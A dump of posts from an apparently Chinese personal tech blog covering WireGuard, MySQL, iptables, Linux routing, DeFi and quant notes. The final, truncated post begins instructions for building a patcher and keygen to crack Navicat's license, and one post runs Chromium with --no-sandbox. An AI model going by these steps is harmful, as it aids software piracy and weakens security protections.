OAUTH2_REDIRECT_URL=xxx - WG_STATS_API=http://172.17.0.1:8182 volumes: - /etc/wireguard:/data wg-json-api: image: james/wg-api:latest container_name: wg-json-api restart: unless-stopped cap_add: - NET_ADMIN network_mode: \u0026#34;host\u0026#34; command: wg-api --device wg0 --listen 172.17.0.1:8182 depends_on: - wg-gen-web-demo https://github.com/vx3r/wg-gen-web\n重要 主机到内网的LAN to LAN 前面的思想是 使用 wg 把 云主机 和 本地的路由来放在同一个子网下。\n在云服务器上可以访问任何的的内网IP，这样的话在大局域网下的服务暴露和转发就会非常的方便了。\n在实践的过程中还是遇到不少麻烦的 ，在这里记录一下\nwg 到子网的路由问题。 在服务端的wg0中需要配置 allip 为 你需要访问的子网段。这样他会自动的加上路由\n但是注意，在配置客户端的时候，不能加上内网重叠部分，否则会导致内网被路由到了云主机，导致无法访问\nAllowedIPs = 10.77.0.2/32, 192.168.3.0/24, 192.168.0.0/24 内网转发1 这样流量就通过了内网的路由上，在路由器上，需要进行IP规则的转发，这里使用的是openwrt，在防火墙中配置。\n这样流量就到了我们的路由器的子网。\n内网转发2 因为源IP 是wg 的，所以在内网会遇到一些IP限制，所以这里用上 SNAT，把wg 的远程IP 重写为路由器的IP这样就可以在内网畅通无阻了\n问题 这里记录一个很奇怪的问题\n在wg建连之后，会自动的加上 远端服务器公网IP到路由内网LAN ip 的一个路由，导致直接无法访问，从而导致wg 建连失败。\n所以这里手动的加上了云服务器的公网IP到公网网关的 一个路由，这样的话了顶掉他的规则。\n","date":"2021-11-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2021/11/2021-11-07-homelab-%E5%85%A8%E8%AE%B0%E5%BD%95/","tags":["homelab"],"title":"HomeLab 全记录"},{"categories":null,"contents":"更优雅的解法\n相对于skip-grant-tables方案，我们来看看另外一种更优雅的解法，其只会重启一次，且基本上不存在安全隐患。\n首先，依旧是关闭实例，其次，创建一个sql文件\n写上密码修改语句\n# vim init.sql alter user \u0026#39;root\u0026#39;@\u0026#39;localhost\u0026#39; identified by \u0026#39;123456\u0026#39;; 最后，使用--init-file参数，启动实例\n# bin/mysqld_safe --defaults-file=my.cnf --init-file=/usr/local/mysql57/init.sql \u0026amp; 实例启动成功后，密码即修改完毕~\n如果mysql实例是通过服务脚本来管理的，除了创建sql文件，整个操作可简化为一步。\n# service mysqld restart --init-file=/usr/local/mysql57/init.sql 注意：该操作只适用于/etc/init.d/mysqld这种服务管理方式，不适用于RHEL 7新推出的systemd。\n","date":"2021-04-27T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2021/04/2021-04-27-%E4%BC%98%E9%9B%85%E7%9A%84mysql%E9%87%8D%E7%BD%AE%E5%AF%86%E7%A0%81/","tags":null,"title":"优雅的Mysql重置密码"},{"categories":null,"contents":"前 linux 作为生产环境目前比较麻烦问题，是视频和网页渲染没法硬解，通常开个页面，看个视频把CPU吃满。而且还十分的卡顿。 所以一直再找 硬解的办法，之前谷歌表态不准备支持 Linux 的GPU渲染，比较寒心。所以社区有自己维护编译 的带 vaapi 的chromium 版本。\nChromium 这个是最简单的，使用Snap来进行安装，一个带Vaapi的版本。安装完成之后启用硬件加速就能用 但是这不是重点\nsudo apt install snap sudo snap install core sudo snap install --channel=candidate/vaapi chromium snap run chromiun --no-sandbox 原生Chrome 在chrome 88 上新增了 Mojo 的解码器，Linux 可以通过其来实现硬解\n打开实验特性 chrome://flags/#ignore-gpu-blocklist chrome://flags/#enable-accelerated-video-decode 装驱动（intel Only） sudo apt install i965-va-driver-shaders libva-drm2 libva-x11-2 sudo apt install intel-media-va-driver-non-free libva-drm2 libva-x11-2 装插件 h264ify\n检查是否生效 重启Chrome添加启动参数 --use-gl=desktop 使用 VAAPI。\n# 直接访问，检查GPU配置 chrome://gpu # 播放视频后访问检查是否使用硬解 chrome://media-internals refer How To Enable Hardware Accelerated Video Decode In Google Chrome, Brave, Vivaldi And Opera Browsers On Debian, Ubuntu Or Linux Mint ","date":"2021-03-20T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2021/03/2021-03-20-ubuntu-mint-%E9%85%8D%E7%BD%AE-chrome-%E7%A1%AC%E8%A7%A3/","tags":null,"title":"Ubuntu/Mint 配置 Chrome 硬解"},{"categories":null,"contents":"前 2020年在 ETH 上演化出了defi的形式，自己现在才进场可能显得有些晚，但是还有很多人是处于观望的态度。刚好遇到一本书来对defi做已过大致的理解，这篇算是自己的读书笔记。 后面的花可能会出defi相关的文章，还是本着best way to learn is to teach\nDefi 简介 Defi 是 decentralized Finance 也就是去中心化金融。和一般金融形式不同，DEFI的金融活动是没有一个中心化的机构或者组织来进行的。defi 本身依赖于区块链的智能合约的功能。 可以让用户来实现 贷款，竞价投机，对冲风险，吃利息等等的金融活动。\ndefi 开创了一个无需许可，可开放的平台。 MakerDAO 是第一个defi 的项目，用通证来锚定美元。aave/compound 用来实现借贷。\ndefi 的特点\n代码开源 交易公开 全球性，无国界 无需许可 灵活用户体验 互操作性 Defi生态有单链生态和跨链生态，ETH/EOS/Tron和BTC跨链 以及 波卡\nDefi 项目介绍 MakerDAO 是用来抵押借贷的项目，可以质押通证来得到DAI（锚定美元的通证），质押率必须大于 150%。质押150USD 的代币可以得到 100USD 的DAI，当抵押物的价值缩水就需要追加抵押物否则抵押物会被自动的卖出。 项目有两种代币， MKR 和 DAI ，DAI 就是美元的锚定币，MKR 用于进行通证治理以及危机兑付。\nCompound 是实现了类似银行的“抵押借贷”，可以质押你的币，可以得到利息的收益。 Compound 类似于一个以太坊上的“去中心化银行”。 COMP 通过智能合约让放贷人贷款人直接进行交互，去掉了传统金融中的为确立明确的贷款条件（到期日，利率，抵押品等等）所需要的繁琐手段，降低了传统流程产生的摩擦，创建了一个更为高效的借贷市场\nYFI 相当于一个 Defi聚合器，结合不同的Defi项目来从中套利，来得到用户受益更高的平台。 建一个包含聚合流动性池和自动做市以及其他功能的综合平台。 其中的核心概念是金库，用户存入数字资产便可以赚取收益。 YFI 用作平台治理投票\nUniSwap 是一个以太坊上的交易所，不是使用的传统的订单簿 的模式，而是使用的是自动商的方式让用户可以在不同的通证之间来进行兑换。 传统交易上是使用买卖双方的账单来进行撮合交易，在去中心化的交易所没有这个动作，使用了 AMM 的模型。\nAAM简单的原理 用户提供一个交易对，这里称之为流动性。而且这个交易对的总价值的乘积是保持不变的。 A×Ma×B×Mb = V 在用户来进行买卖的时候，流动性也就是 量 会存在 变动，增加和减少，从而其 价格可扬州发生对应的减少和增加。这样就是完成了一个 AAM 的模型；。 但是在交易中存在着无常损失，也就是在流动性不够大的时候，单笔交易可能会对价钱有较大的影响。就会存在这无常损失。但是一般的主流币，会有很多的套利动作，座椅这个价格一般会被维持在正常水平。 所以为了弥补这个，DEX有一般默认有 0.3% 的手续费给流动性提供者。\nAAVE AAVE 是一个有更多特性的借贷平台。\n可以使用单区块内的闪电带，是不是需要任何质押的 可以有利率切换功能，是可以选择浮动利率还是固定利率 Synthetix 实现了资产的Token化的交易模式，可以使用自身Token 和 预言机的某项资产来进行合成 从而得到特定资产的通证。这样就实现在在不持有某项资产的情况下来对该项资产来进行交易。 拓宽了可交易的品种\nCurve 主要目的是让用户和其他的去中心后的协议通过CRV 来实现低费率和低滑点的交易。\nNXM NXM 是Defi上的一个保险项目，当Defi出现意外的时候用户可以通过 NXM 的流程来获得理赔。\nAMPL 算法稳定币\nBAS 算法稳定币\nrenVM 跨链项目\ndefi 相关工具 DefiSaver Defi聚合器 Zapper.fi 提供在一个app 里展示所有的Defi工具的现状 DeBank 是一个defi的项目浏览器，聚集各种defi 的项目 Zerion 意在成为一个Defi的门户。 InstaDApp Defi聚合器 apy.vision defi信息聚合 defipulse defi信息追踪工具 defirate 提供了所有市面Defi的 借出利率 defi 发展 defi UniSwap 的24h 的交易量，在 2020/08/30 达到了 4.26亿美元，首次超过了CEX Coinbase。 defi领域的一个常见名词TVL（Total value locked）翻译过来就是总锁仓价值。锁仓价值反应了defi的流动池的深度，是一个Defi项目的主要指标。\n问题 总体规模较小，锁仓量还不大 目前的defi的形式还是显得比较单一 业务形态简单，品种有限，复杂衍生品还没出现。（次贷） 门槛较高，需要一定的技术 用户有限 后期的吸引力受质疑，流动性挖矿结束之后怎么来维持发展。 defi投资 一般投资逻辑，这里引用书里的话\n我对整个数字货币领域这个大生态最强烈的体会就是去中心化和自由\n比如老牌项目，EOS TPS高，性能强，但是依旧不是很成功，为什么呢？ 主要也是因为其失去了区块链的包容性和反垄断性。只有21个超级节点。和使用 21 台计算机组成 一个集群没有什么区别。\n投资新兴的Defi项目需要大胆的突破常规的思维， 我们投资一个项目，通常是按照他的逻辑有没有价值，就看他有没有使用场景以及使用场景能产生的价值。 没有使用场景的项目，可以被认为是传销ulysses的场景非常的有限，那么其价值也是有限的。\n所以这里的挑战就是 大胆的突破自己的传统思维，包容异端。 举例子 AMPL NSURE COVER\nAMPL 是一种算法稳定币，其逻辑是市场价格变化的时候调整自己的数量，来维持和 锚定货币等价。在日常生活中不可能发生，这种项目就是一个颠覆式的创新。\n使用风投的思想来去投资新兴的Defi市场。在投资上要用选赛道的思路来筛选项目。 每个月定投项目。\n","date":"2021-03-13T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2021/03/2021-03-13-defi%E5%85%A5%E9%97%A8defi%E5%AE%9E%E6%88%98%E6%8A%95%E8%B5%84%E6%96%B9%E6%B3%95%E8%AE%BA%E7%AC%94%E8%AE%B0/","tags":null,"title":"Defi入门《Defi实战投资方法论》笔记"},{"categories":null,"contents":"偶然在某个视频里面看到一句话 The Best Way to Learn is to Teach 在后面的内容里面，我应该增强自己的表述。让自己作为一个讲述者的角色而不是记录者。这样来来得到更好的效果。也让沉淀下来的文章更加的有价值。\n这一篇文章主要是是一片读书笔记，自己有做量化的想法那么第一步就是来读懂指标。所以这里刚好有掘金的一个基本量化策略的文章，用来通过册来来了解技术指标的好意\nhttps://www.myquant.cn/docs/python_strategyies/153\n双均线策略(期货) 关于双均线的操作含义这里就直接贴在后面参考的部分了。均线的原理就是均值回归。 但是均线理论存在问题就是滞后性，指标不够灵敏。在出现大行情的时候，金叉和死叉的出现晚于价格变化。 一般对于均线理论的改良，使用加权移动平均线来进行操作，越近的时间权重越大（WMA/EMA）。\n短期灵敏度：EMA\u0026gt;WMA\u0026gt;MA 稳定性：MA\u0026gt;WMA\u0026gt;EMA 或者调整到合适的时间周期。\n在均线理论中，最简单的两个信号是\n当短期均线由上向下穿越长期均线时做空 当短期均线由下向上穿越长期均线时做多\n相关代码在之前的 vnpy 里已经有了这里就不再给出了。回测，当然是非常的糟糕。\nDual Thrust(期货) dual Thrust 是一个用于趋势跟踪的策略，\n其核心思想是定义一个区间，区间的上界和下界分别为支撑线和阻力线。当价格超过上界时，如果持有空仓，先平再开多；如果没有仓位，直接开多。当价格跌破下界时，如果持有多仓，则先平仓，再开空仓；如果没有仓位，直接开空仓。\n核心逻辑就是上界和下届的定义，这里需要使用经验和回测来进行。主要的思想是通过最高的价钱以及一个收盘的振幅，来获取一个势的强弱。\n(1)N日High的最高价HH, N日Close的最低价LC; (2)N日Close的最高价HC，N日Low的最低价LL; 最高价减去低收，最低收减去最低价得到的range Range = Max(HH-LC,HC-LL) 上限：Open + K1×Range 下限：Open + k2×Range\n(1)当价格向上突破上轨时，如果当时持有空仓，则先平仓，再开多仓；如果没有仓位，则直接开多仓； (2)当价格向下突破下轨时，如果当时持有多仓，则先平仓，再开空仓；如果没有仓位，则直接开空仓；\nR Breaker R Breaker是一种日内回转交易策略，属于短线交易。日内回转交易是指当天买入或卖出标的后于当日再卖出或买入标的。日内回转交易通过标的短期波动盈利，低买高卖，时间短、投机性强，适合短线投资者。 是一个做短线交易的指标，主要的内容是 反转 和 趋势。 涉及到的指标有 突破买入价、观察卖出价、反转卖出价、反转买入价、观察买入价和突破卖出价。\n中心价位P = （H + C + L）/3 突破买入价 = H + 2(P -L) 观察卖出价 = P + H - L 反转卖出价 = 2P - L 反转买入价 = 2P - H 观察买入价 = P - (H - L) 突破卖出价 = L - 2(H - P)\n这里的逻辑是空仓时候等待突破策略来进行开仓，持仓时等待反转信号来平仓。 所以简单来讲，上面的指标有两组。 一组是空仓时候 突破买，突破卖 另一组是持仓时候（空单/多单） 反转买，反转卖。\n先分析突破价： H + 2(P -L) 减去 前一交易日最高价，之后移项得到 (H+P-L)-H = P - L \u0026gt;0 说明突破价是比前一个交易日的的最高价要高，这样就得到了一个明确的上涨（下跌）趋势，之后作为建仓的信号。 反之看反转价，应该就是一个固定的值。 (H + 2(P -L)) - (2P - L) = H - L 相当于一个固定的止损价 这样的化，策略逻辑就是：突破价要比上一个交易单位的最高（L）价要高（L），P-L得出下影线的长度，这样可以理解为多空的激烈程度，如果多空更激烈，那么突破价就会更高/更低。这样就说明有很强的反向的理论。从而获取确定的多/空信号，来进行买入。 在交易窗口结束之后平仓，或者当到达反转价的时候来进行平仓获利。\n菲阿里四价 菲阿里四价同R Breaker一样，也是一种日内策略交易，适合短线投资者。\n菲阿里四价指的是：昨日高点、昨日低点、昨天收盘、今天开盘四个价格。\n菲阿里四价上下轨的计算非常简单。昨日高点为上轨，昨日低点为下轨。当价格突破上轨时，买入开仓；当价格突破下轨时，卖出开仓。\n觉得这样对信号的不或不够精准。。。\n小市值策略（股票） 这里忽略，里面涉及到 CAPM资本定价模型 现在无法理解\n布林线均值回归(股票) 布林带这个就是简单好用了，这个用的多就是n日MA 以及 其 k倍标准差。2倍标准差就是95% 的概率。\nBOLL线的计算公式：\n中轨线 = N日移动平均线 上轨线 = 中轨线 + k 标准差 下轨线 = 中轨线 - k 标准差\nAlpha对冲策略 alpha 是标的本身的风险/收益，beta 是系统性风险。这里的对冲实际上是对冲了系统性风险，也就是对冲了beta靠alpha 来获取收益。\nalpha对冲策略常采用股指期货做对冲。在股票市场上做多头，在期货市场上做股指期货空头。当股票现货市场亏损时，可以通过期货市场弥补亏损；当期货市场亏损时，可以通过股票现货市场弥补亏损\n网格交易 适合用于震荡市行情，属于左侧交易，在上涨时不断卖出，下跌时来进行买入，这样实现网格之间的套利。 有等差网格和等比网格两种类型，等宽可能导致卖点过早，收益率低，当然风险也会低 这里的核心是震荡市，如果不活跃的话，很难有信号。\n关于网格判断的方式，可以吧 价钱和网格价进行对比。这里有更好的方法，直接使用pandans 的 对区域来进行cut ，就可以得出 最终落在那个区间。\n假突破，比如 4-\u0026gt;5, 5-\u0026gt;4 实际上同一根线，这里进行的抖动交易没有意义。所以 相同上下信号，应该有统一标识来进行排除\n指数增强(股票) 在进行股票投资时，有一种分类方式是将投资分为主动型投资和被动型投资。被动型投资是指完全复制指数，跟随指数的投资方式。与被动型投资相反，主动型投资是根据投资者的知识结合经验进行主动选股，不是被动跟随指数。主动型投资者期望获得超越市场的收益，被动型投资者满足于市场平均收益率水平。 指数增强是指在跟踪指数的基础上，采用一些判断基准，将不看好的股票权重调低或平仓，将看好的股票加大仓位，以提高收益率的方法。\n也就是在指数的基础上进行主动的留强汰弱，来获得超过指数的收益。\n所以主要逻辑在选好股，这里又有了动量理论，文章中直接使用了 连涨5天这样的一个指标\n参考 买1：均线整体上行，股价由下至上上穿均线，此为黄金交叉，形成第一个买点。 买2：股价出现下跌迹象，但尚未跌破均线，此时均线变成支撑线，形成第二个买点。 买3：股价仍处于均线上方，但呈现急剧下跌趋势。当跌破均线时，出现第三个买点。 买4：（右侧）股价和均线都处于下降通道，且股价处于均线下方，严重远离均线，出现第四个买点。 卖1：均线由上升状态变为缓慢下降的状态，股价也开始下降。当股价跌破均线时，此为死亡交叉，形成第一个卖点。 卖2：股价仍处于均线之下，但股价开始呈现上涨趋势，当股价无限接近均线但尚未突破时，此时均线变成阻力线，形成第二个卖点。 卖3：股价终于突破均线，处于均线上方。但持续时间不长，股价开始下跌，直至再一次跌破均线，此为第三个卖点。 卖4：（左侧）股价和均线都在上涨，股价上涨的速度远快于均线上涨的速度。当股价严重偏离均线时，出现第四个卖点。 R breaker\n第一步：根据收盘价、最高价和最低价数据计算六个价位。 第二步：如果是空仓条件下，如果价格超过突破买入价，则开多仓；如果价格跌破突破卖出价，则开空仓。 第三步：在持仓条件下: 持多单时，当最高价超过观察卖出价，盘中价格进一步跌破反转卖出价，反手做多； 持空单时，当最低价低于观察买入价，盘中价格进一步超过反转买入价，反手做空。 第四步：接近收盘时，全部平仓。 ","date":"2021-03-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2021/03/2021-03-07-%E5%B8%B8%E8%A7%81%E9%87%8F%E5%8C%96%E7%AD%96%E7%95%A5%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","tags":null,"title":"常见量化策略学习笔记"},{"categories":["op之路"],"contents":"有时候iptables 可能把我们的连接给拒绝掉了，但是也看不到日志，所以这篇文章就是打开iptables 的drop 日志，用于错误排查和 debug 快速记录iptables记录 Drop记录\niptables -N LOGGING iptables -A INPUT -j LOGGING iptables -A LOGGING -j LOG --log-prefix \u0026#34;IPTables-Dropped: \u0026#34; --log-level 4 iptables -A LOGGING -j DROP iptables -nL --line-numbers iptables -I INPUT {line} -j LOGGING -m comment --comment \u0026#34;this is for drop log\u0026#34; ","date":"2021-02-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2021/02/2021-02-23-iptables-drop-%E6%97%A5%E5%BF%97/","tags":null,"title":"iptables 开启拒绝日志"},{"categories":["op之路"],"contents":"记录一次自己进行大表导入的操作。 需要导入 mysql 20G 的文本文件\n直接总结经验如下：\n直接创建表，不设置主键和索引 关闭autocommit自动提交 关闭Binlog //关闭日志 //关闭autocommit自动提交模式 0是关闭 1 是开启（默认） set sql_log_bin=OFF; set autocommit=0; 优化处理后，700w 级别数据在 40分钟作用，完成导入。\n继续优化，Mariadb 在连续导入的时候会出现Crash的问题。 日志报错如下，看起来像是资源相关的问题。\nServer version: 10.4.12-MariaDB-log key_buffer_size=33554432 read_buffer_size=8388608 max_used_connections=3 max_threads=514 thread_count=9 It is possible that mysqld could use up to key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 6361464 K bytes of memory Hope that\u0026#39;s ok; if not, decrease some variables in the equation. ","date":"2021-01-15T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2021/01/2021-01-15-mysql-%E7%99%BE%E4%B8%87%E7%BA%A7%E6%95%B0%E6%8D%AE%E5%AF%BC%E5%85%A5%E8%AE%B0%E5%BD%95/","tags":["mysql"],"title":"Mysql 百万级数据导入记录"},{"categories":null,"contents":"众所周知的原因 微信/qq 这类国内常用的通信软件的linux化迟迟是没有被加上进程。这样对希望使用 linux 作为主力系统的用户来说是个很大的利空消息。 但是最近终于找到了一个近乎完美使用的方案，这里写个博文记录一下，也希望帮到各位。\n方案 这里的完美方案基于软件 crossover，一个致力于解决OSX/Linux 平台下对win应用的跨平台使用的应用。（这款软件是收费的售价89，但是少折腾提高幸福感，我觉得很值得）官网如下：\nhttps://www.codeweavers.com/\n软件本身提供了微信的自动安装，会使用微信的官方的包来进行。 直接安装完成之后，基本上微信就是可流畅使用的状态了。\n基本聊天 发送截图 语音通话 等功能都是测试正常 问题 遇到的几点问题以及解决方案这里记录一下：\n输入框没有光标和输入的文字 这个是已知问题，下载 riched20.dll替换掉 ~/.cxoffice/WinXp-64-bit/drive_c/windows/system32 下面的同名文件。如果64位则需要同时替换syswow64下的。\nsystary 不正常先是，导致新消息自动弹出问题 可能是mint下必现的问题，是因为，icon 本身默认是 16×16的如果配置con大小不匹配，导致 systray无法设置缩略图标，导致无法进入后台状态。设置之后，微信即可以工作在后台。\n","date":"2021-01-15T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2021/01/2021-01-15-ubuntu-mint-%E4%B8%8A%E8%BF%91%E4%B9%8E%E5%AE%8C%E7%BE%8E%E7%9A%84%E5%BE%AE%E4%BF%A1%E4%BD%93%E9%AA%8C/","tags":null,"title":"Ubuntu/mint 上近乎完美的微信体验"},{"categories":["op之路"],"contents":"关于怎么定一个服务是有状态的还是无状态的\n是否需要持久化存 重启时是否需要从存储中恢复数据（状态） 是否有请求信息缓存在内存中？ 关于有状态服务的一些最佳实践 如非必要，优先无状态 How\n日志上报 业务逻辑层不保存请求数据和状态 缓存到redis Cookie why\n调度灵活 故障对业务的影响小 分布式变得简单 POD的状态表。 ","date":"2020-12-20T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/12/2020-12-20-k8s-%E6%9D%82%E8%AE%B0/","tags":["k8s","kubernetes"],"title":"K8s 杂记"},{"categories":["op之路"],"contents":"https://www.cnblogs.com/xiaolincoding/p/12995358.html\n在 Linux 系统下，TCP存在半连接和全连接的转换的方式， 正如我们所熟知的，tcp连接在通信之前会有两次的 SYN，TCP 在这个状态服务端收到了 SYN 就是我们的半连接状态。 获取当前的半连接状，使用下面的命令来进行半连接的状态统计\n[root@account5 /data/home/ramonesliu]# ss -anpt | grep SYN SYN-RECV 0 0 203.*.*.18:8080 175.143.86.66:54006 SYN-RECV 0 0 203.*.*.18:8080 41.115.94.227:16464 SYN-RECV 0 0 203.*.*.18:8080 180.253.160.211:24346 在内核中，有一个队列，来存储这些 SYN 状态的tcp连接，如果这个队列的长度过短，就会出现连接溢出丢失的状态\n使用 ss 或者\nss -lnt | grep 8080 netstat -s ","date":"2020-12-14T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/12/2020-12-14-%E5%8D%8A%E9%98%9F%E5%88%97-%E5%85%A8%E9%98%9F%E5%88%97%E9%95%BF%E5%BA%A6%E5%AF%BC%E8%87%B4%E7%9A%84nginx%E8%AF%B7%E6%B1%82%E5%A4%B1%E8%B4%A5/","tags":null,"title":"半队列/全队列长度导致的nginx请求失败"},{"categories":["每周分享","读本好书"],"contents":"这里pick一个软件就是 getabstract 这个，简单来说就是一个做书籍浓缩的站点。起源瑞士 20 年传统 虽然对于“知识浓缩”这一点的优劣大家众说纷纭。但是我觉得这类东西来，作为自己的认知拓展很不错。作为一个更正经，更有用的纯粹的知乎。\n因为我觉得读一本书，可能最终有用的就是几句话，或者作者的某种新奇的认知方式能让我持续的受用。 上周偶遇这个软件，就在里面看了之前的《投资金律》的浓缩版本。\n從投資報酬率來看，投資在營收不穩、充滿危險的小型價值股要比營收穩定的大型成長股更具優勢，應該要避開投資大型成長股。價值型股＞成長型股 小型股＞大型股 在年轻的时候遇上经济灾难是件好事，所以我对现在的看法转变了。没那么糟糕，人生中低吸的阶段。 股市就像被主任牵着的狗，在主人前前后后的跑，但是趋势是增长的。 还有一本是 《原油之国》，讲的是委内瑞拉，南美北部的一个国家，全称委内瑞拉玻利瓦尔共和国。 上个世纪的原油销售使得国家富极一时。 但是，为什么地上都能挖到原油的国家，如此贫穷。 原油的价钱无法统一调控，大量的黑市交易。以及恶性的通货膨胀，和严格的外汇管制。 而且，在曾经富裕过的地方，贫穷的人家也会去追求时髦买卫星电视。这点我觉得比较有意思。因为之前没见到这样的例子。\n","date":"2020-11-22T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/11/2020-11-22-ipick%E4%B8%80%E4%B8%AA%E8%AE%A4%E7%9F%A5%E6%8B%93%E5%B1%95%E7%9A%84%E8%BD%AF%E4%BB%B6getabstract/","tags":null,"title":"【ipick】一个认知拓展的软件getabstract"},{"categories":["玩点什么"],"contents":"一个存档贴来记录LEDE的ipv6 配置，没有公网IP是难受，但是有了v6 的环境的话，很多东西都成了可能。 具体过程参考下文 https://blog.csdn.net/weixin_43593122/article/details/95660085\n首先这里需要在 https://dynv6.com/ 来注册一个DDNS的帐号\n之后拿到token 来进行配置 ","date":"2020-10-18T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/10/2020-10-18-lede-v6-ddns-%E9%85%8D%E7%BD%AE/","tags":["ipv6"],"title":"LEDE v6 DDNS 配置"},{"categories":["op之路"],"contents":"在腾讯云上的主机来配置双网卡的时候，网卡挂载之后总是只能有一个网卡上对应的服务端口可以被访问。 初步上看没什么问题，各自访问自己的网卡，之后转发到对应的网卡就好了。 但是继续思考，后面的回包的话需要对正确的网卡来进行数据的返回，所以这里需给回包正确的路由\n首先需要建立路由表，在文件中添加新的路由表。e0 和 e1\nvim /etc/iproute2/rt_tables # # reserved values # # 252 e0 251 e1 255 local 254 main 253 default 0 unspec # # local # #1 inr.ruhep 之后在 inid.d 里面来添加载路由表初始化配置的脚本\nip route flush table e0 ip route add default via 172.19.0.1 dev eth0 src 172.19.0.3 table e0 ip route add 127.0.0.0/8 dev lo table e0 ip rule add from 172.19.0.3 table e0 ip route flush table e1 ip route add default via 172.19.0.1 dev eth1 src 172.19.0.5 table e1 ip route add 127.0.0.0/8 dev lo table e1 ip rule add from 172.19.0.5 table e1 这样命中路由表的流量，就会走正确的网卡。\n","date":"2020-10-08T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/10/2020-10-08-%E4%B8%BB%E6%9C%BA%E5%8F%8C%E7%BD%91%E5%8D%A1%E8%B7%AF%E7%94%B1%E9%85%8D%E7%BD%AE/","tags":null,"title":"CVM双网卡路由配置"},{"categories":["op之路"],"contents":"数据缓存、接口限流和服务降级 数据缓存 在web系统中，数据库很容易成为系统的短板，而为了满足高并发的需求，就需要存在一个缓存层，分摊数据库的压力，提高并发能力。\n同样的道理，缓存在大多数分层设计中都是不可或缺的，比如：\n内存作为数据落地到硬盘的缓存\nCPU高速缓存作为内存的缓存\nPHP组件opcache对预编译opcode的缓存\nCDN加速作为静态文件访问的缓存\n缓存系统的好处:\n加快访问速度，提高并发量\n避免重复运算，节约计算资源\n保护下游系统，提高系统可用性\n一般的数据库架构都是一主多从，高并发的系统中，大多数的数据库请求都是读请求，此时通过主从同步，增加多个从库，可以有效的分摊主库的读压力，如果高峰期数据读写大的情况下，会存在主从延迟，对业务代码会有一定要求。\n读库的压力问题解决了，写库也会存在高并发、负载高的状况，通常可以通过消息队列、延迟写入的做法缓解瞬时的高并发高负载，对于一些对实时性要求不高的业务，先放进队列缓存，然后延迟处理，用时间换空间。\n一主多从的数据库系统中，多个从库的权重设置通常按照资源划分，但是当某个节点异常的情况下，此时节点的 健康检查 和 动态权重 就至关重要了。\n接口限流 为什么要对访问进行限流呢？\n恶意访问(DDoS攻击)，拒绝资源过度使用\n并发流量超过系统承载能力，选择性的拒绝一部分访问（服务降级）\n我们队服务进行了大量优化，极大的提高了系统并发能力的前提下，受限于有限资源，还是很难满足瞬时高并发，那么我们只能选择对访问进行限制了，拒绝掉一部分流量，保证我们系统的大部分功能模块的可用性。\n常用的接口限流的算法：\n计数器算法\n漏桶算法\n令牌桶算法\n以上算法都是从请求数量，请求频率上决定是否限制访问，同时在我么日常开发过程中，也可以根据业务暂时对某些功能模块限流。\n服务降级 当并发量太大，外围业务负载较高时，我们为了保证主要业务的可用性，就需要降低服务质量，或者舍弃一部分非必需业务，从而降低服务的负载，这就是我理解的服务降级，或者可以说是暂时开启『瘦身模式』。\n举个例子：\n日常访问用户订单列表的时候，我们是实时查询的，而当服务降级以后，可能你的订单需要等几分钟才可以被查看到。 日常访问文章页面，可以查看文章，添加评论，当服务降级以后，只能查看内容，而无法添加评论、点赞等其他操作。 当我们砍掉一部分服务，全力保证主要业务可用性的情况下，还是没办法满足当前负载，更可怕的是数据库宕机了！\n数据库挂了，用户访问页面直接报错，此时用户体验极差。\n那当我们的数据库服务熔断的时候，我们该如何保证损失最小？\n做好服务隔离，即使没有数据库的情况下，我们依然可以保证一些服务可用 设计合理的错误页面，引导用户到可用的服务 细想，难道404页面不也是一种服务熔断思想的体现。\n实际产品开发过程中，不仅需要技术架构上合理，还需要产品设计中融入高可用、服务化的思想，一个多部门合作共同产出的产品，不可能仅靠技术架构合理就一枝独秀，产品设计不合理，产品原型一版推翻一版，简直是逼着开发吃屎。\n俗话说，一个巴掌拍不响，不要为了服务化而服务化。\n以上只是理论分析，后面会就其中细节写一些真正可实践的操作方法。\n","date":"2020-10-08T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/10/2020-10-08-%E6%95%B0%E6%8D%AE%E7%BC%93%E5%AD%98%E6%8E%A5%E5%8F%A3%E9%99%90%E6%B5%81%E5%92%8C%E6%9C%8D%E5%8A%A1%E9%99%8D%E7%BA%A7/","tags":null,"title":"数据缓存、接口限流和服务降级"},{"categories":["搞钱"],"contents":"出租服务器的单个实例， 保证 95% 的可用性 每月20元 提供面板来进行操作。\n","date":"2020-10-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/10/2020-10-07-%E6%90%9E%E9%92%B1%E8%AE%A1%E5%88%92-mc-%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%87%BA%E7%A7%9F/","tags":null,"title":"搞钱计划----MC 服务器出租"},{"categories":null,"contents":"ubuntu下安装navicat破解版 1. 从官方网站下载navicat# 你会得到一个AppImage文件。例如 navicat15-premium-en.AppImage。\n我假定这个AppImage文件在 ~/Desktop 文件夹下。\n2.提取AppImage文件里的所有文件到一个文件夹。例如：# $ mkdir ~/Desktop/navicat15-premium-en $ sudo mount -o loop ~/Desktop/navicat15-premium-en.AppImage ~/Desktop/navicat15-premium-en $ cp -r ~/Desktop/navicat15-premium-en ~/Desktop/navicat15-premium-en-patched $ sudo umount ~/Desktop/navicat15-premium-en $ rm -rf ~/Desktop/navicat15-premium-en 3. 编译patcher和keygen# 请确保你安装了下面几个库：\ncapstone keystone rapidjson 你可以通过下面的命令来安装它们：\n# install capstone $ sudo apt-get install libcapstone-dev # install keystone $ sudo apt-get install cmake $ git clone https://github.com/keystone-engine/keystone.git $ cd keystone $ mkdir build $ cd build $ ../make-share.sh $ sudo make install $ sudo ldconfig # install rapidjson $ sudo apt-get install rapidjson-dev 你的gcc支持C++17特性。\n编译\n$ git clone -b linux --single-branch 